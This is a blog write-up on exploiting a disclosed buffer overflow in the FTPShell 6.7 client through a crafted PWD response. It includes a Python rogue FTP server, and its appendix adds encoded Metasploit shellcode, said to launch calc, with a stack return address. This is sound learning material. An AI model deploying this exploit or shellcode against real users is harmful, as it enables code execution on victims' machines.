Revising Vulnerabilities - FTPShell 6.7 Client (Buffer Overflow)

Big thx to @va_start for shaping up the writeup (;

Short disclaimer

The following writeup is a basic self-exercise of exploiting a known vulnerability that was already disclosed, there isn’t anything new here (:

Goal

While we know for sure there is a vulnerability from one of the most basic bug type classes (buffer overflow), the goal of this exercise is to attempt and find the overflow and exploit it ourselves. 


Our vulnerable target is an FTP client which we’ll exploit from the server-side. The exploit scenario is unlikely as it would require a victim to connect to an attacker-controlled FTP server. Nonetheless it’s a great exercise.

Intro


Before diving into the client application and attempting to map its logic, we should start by making sure were familiar with the typical FTP protocol flow. 
We won’t go over the details here, but you’re more than welcome to cover it quickly :)


What’s important in our case are the following:
  • The USER, PASS, PWD commands
  • The 220, 331, 230 status codes
 
As we move on to look at the client itself,let’s keep in mind that we have 2 initial hints:
  •  We know there’s a vulnerability of a buffer overflow that allows RCE 
  • There’s no DEP or ASLR

That’s it.

Initial Inspection


Where it would be most reasonable to find the overflow?


Since we know it’s a buffer overflow, we’ll probably want to track all the attacker-controlled input.


With the assumption that the overflow is more likely to reside in the parsing related functions that get it’s input from the server rather than the simple GUI inputs such as the desired session name, the ip address of the server, etc.


Following that assumption, we’d like to know how the client expects to communicate with the server (done by monitoring the traffic with Wireshark) and eventually we draw the following conclusions:

  • The client waits for a ‘220 FTP Server ‘ 
  • The client will then send the USER parameter to the server
  • The client waits for a ‘331 OK’
  • The client then sends the password 
  • The server will confirm the successful login process with ‘230 OK’
  • Then the client will send a PWD request to the server
  • The PWD response is of the form ‘220 [“path”][suffix]’
 
The most trivial thing to try to do is to send a really long buffer as the PWD response, which seems to crash the client!...


Good, so we probably found the overflow, but now let’s weaponize the vulnerability we found to achieve RCE.

Mapping The Application


The following phase starts out with reversing the application to understand its overall structure and how it operates.


While I won’t describe every detail of it, one can quickly see it’s working with windows messages, and that by tracing bottom up from interesting import functions such as WSARecv and  WSASend we can find some relevant functions that handle the client’s messages.


After parsing the arguments needed for the connection with the server, a communication thread is spawned and initiates the connection. This thread performs all the WSARecv and WSASend operations.


following the client’s typical connection routine, as described in the intro, we know when to expect the PWD to be sent. we continue following the program’s execution flow until we reach the code sending the PWD request:



What should really interest us here are the parameters being set through ESI. (Sub_44DC2C is the same function the code is taken from).


So, lets jump back to the start of the function to see what execution path the function with the stored parameters will follow:



It seems that our call will be taking the execution path seen on the right of the picture (the second parameter is being subtracted 0x3E9, and then 0x216 which results in 0).


Finding The Overflow


The rest of this path is composed of 2 main parts, the first simply parses the response code:




The second part is where it gets interesting:



Looks like we found the function that parses the directory path itself (and returns an error if an invalid directory path was provided).

The function makes sure the first 3 characters in the response text are numbers (the response code), finds the first “ character that indicates on the path start, and copies characters until it finds the second “, where it puts a string null terminator right after.




So, we did find the overflow which is good, but how many characters are needed until we overwrite anything useful? What’s “anything useful”?


Planning The Payload

Let’s do a quick recap on our situation:
  • The data received from the server will reside in a buffer in memory (as we’ll see later it’s being copied there from the overflowed buffer on the stack)
  • We also found the buffer overflow which copies only the directory path to the stack

So, assuming we don’t have to deal with DEP nor with ASLR – scenario 1 will be to redirect execution onto the start of the shellcode that is located right on the stack!

But for the sake for the exercise, let’s try and avoid executing code directly on the stack - so we need to find a way to redirect the execution to that same place in memory where the data from the server is stored - that will be scenario 2.

Before implementing each scenario, we need to find something “useful” to overflow.
The data is being copied to ESI, tracing it up we find it’s being passed to the function as a parameter, and is pointing at the following stack buffer:

We see that the intendent space for our directory path buffer ranges from 0x0019F708 to 0x0019F710, not much...

When first viewing the function that calls the directory path parsing method, one can quickly notice the parameters that are being set at the start of the function, one of those parameters is a callback address that will be jumped to right after the path parsing:


It’s important to state that because we’re not overflowing a buffer that’s allocated in the current stack frame, it means we won’t overflow the return address of the parsing method – which enables us to control the described callback parameter in the outer function’s frame.

So, if we scroll up the stack quite a bit, we can see how many bytes we need to overwrite in order to run over the callback address:
  • The callback is located on 0x0019F894
  • The buffer we overflow starts at 0x0019F704

That gives us 400 bytes (quite a lot IMO).

Let’s generate a small test with the following server code:

import socket
import sys

payload = 400 * 'A' + 'BBBB'
try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(("0.0.0.0", port))
        s.listen(5)
except:
        print("failed to start...")
while True:
         conn, addr = s.accept()
         conn.send('220 FTP Server\r\n')
         print(conn.recv(1024))
         conn.send("331 OK\r\n")
         print(conn.recv(1024))
         conn.send('230 OK\r\n')
         print(conn.recv(1024))
         conn.send('220 "'+payload+'"\r\n')

This will result in exactly what we wanted – the callback address is overwritten to our choice. 


Scenario 1

From here it’s straight forward, we’ll just replace the ‘B’s in our payload to the stack address (where our shellcode starts) and replace the ‘A’s in a meaningful payload (pop a calc for example, can be generated using Metasploit’s windows/exec) and that’s it – it works. (see the server code in appendix A).

Notice that when we generate the payload using Metasploit we’d like to avoid using the following characters that might damage our shellcode by breaking it (the best “universal” example will be the null character that’ll make the program interpret it as a string terminator resulting in the loss of the rest of our shellcode):
  • \x00 (Null character)
  • \x0A (Line feed)
  • \x0D (Carriage return)

Scenario 2

As mentioned before, we’d like to add another small goal and avoid executing the payload on the stack (would help with DEP).

We mentioned before that our current goal is to find a way to redirect the execution to the buffer in memory that doesn’t reside on the stack.

Looking a bit further after the function where we discovered the overflow, we can see a call to strcpy which copies the path (shellcode) from the stack to another buffer in memory, after this the callback pointer is checked against null and if valid, the function is executed. At the moment of the jump to the callback pointer, we can notice that there’s one register that still holds the address in memory where our shellcode was copied to, and that’s ESI.

So where are we going with that? If we were able to find a constant address of an instruction of call ESI, we can implant that address on the callback and that’ll solve our goal.

Ok, so let’s scan the memory for a call ESI instruction (if you look it as text in IDA make sure to count the spaces between the call and ESI).

We’ve got quite a lot of options, just choose a random one and it should work.

Summary

This exercise aimed to help us practice both in identifying and exploiting a buffer overflow typed vulnerability, while we didn’t encounter any modern protection mechanism, it’s important to control the basics (:

A great series of write ups for beginners can be found in Corelan Team’s website, highly recommended!

Appendix A

import socket
import sys

buf =  ""
buf += "\xdb\xc2\xba\x3e\x17\xb7\xa4\xd9\x74\x24\xf4\x5e\x2b"
buf += "\xc9\xb1\x31\x31\x56\x18\x03\x56\x18\x83\xc6\x3a\xf5"
buf += "\x42\x58\xaa\x7b\xac\xa1\x2a\x1c\x24\x44\x1b\x1c\x52"
buf += "\x0c\x0b\xac\x10\x40\xa7\x47\x74\x71\x3c\x25\x51\x76"
buf += "\xf5\x80\x87\xb9\x06\xb8\xf4\xd8\x84\xc3\x28\x3b\xb5"
buf += "\x0b\x3d\x3a\xf2\x76\xcc\x6e\xab\xfd\x63\x9f\xd8\x48"
buf += "\xb8\x14\x92\x5d\xb8\xc9\x62\x5f\xe9\x5f\xf9\x06\x29"
buf += "\x61\x2e\x33\x60\x79\x33\x7e\x3a\xf2\x87\xf4\xbd\xd2"
buf += "\xd6\xf5\x12\x1b\xd7\x07\x6a\x5b\xdf\xf7\x19\x95\x1c"
buf += "\x85\x19\x62\x5f\x51\xaf\x71\xc7\x12\x17\x5e\xf6\xf7"
buf += "\xce\x15\xf4\xbc\x85\x72\x18\x42\x49\x09\x24\xcf\x6c"
buf += "\xde\xad\x8b\x4a\xfa\xf6\x48\xf2\x5b\x52\x3e\x0b\xbb"
buf += "\x3d\x9f\xa9\xb7\xd3\xf4\xc3\x95\xb9\x0b\x51\xa0\x8f"
buf += "\x0c\x69\xab\xbf\x64\x58\x20\x50\xf2\x65\xe3\x15\x0c"
buf += "\x2c\xae\x3f\x85\xe9\x3a\x02\xc8\x09\x91\x40\xf5\x89"
buf += "\x10\x38\x02\x91\x50\x3d\x4e\x15\x88\x4f\xdf\xf0\xae"
buf += "\xfc\xe0\xd0\xcc\x63\x73\xb8\x3c\x06\xf3\x5b\x41"

payload = "\x90" * 10 + buf + "F" * 170 + "\x04\xF7\x19"

try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(("0.0.0.0", 21))
        s.listen(5)
except:
        print("failed to start...")
while True:
         conn, addr = s.accept()
         conn.send('220 FTP Server\r\n')
         print(conn.recv(1024))
         conn.send("331 OK\r\n")
         print(conn.recv(1024))
         conn.send('230 OK\r\n')
         print(conn.recv(1024))
         conn.send('220 "'+payload+'"\r\n')

Comments

Popular posts from this blog

In MSDN we trust? - CreateRemoteThread Shenanigans

Resources list for malware hunters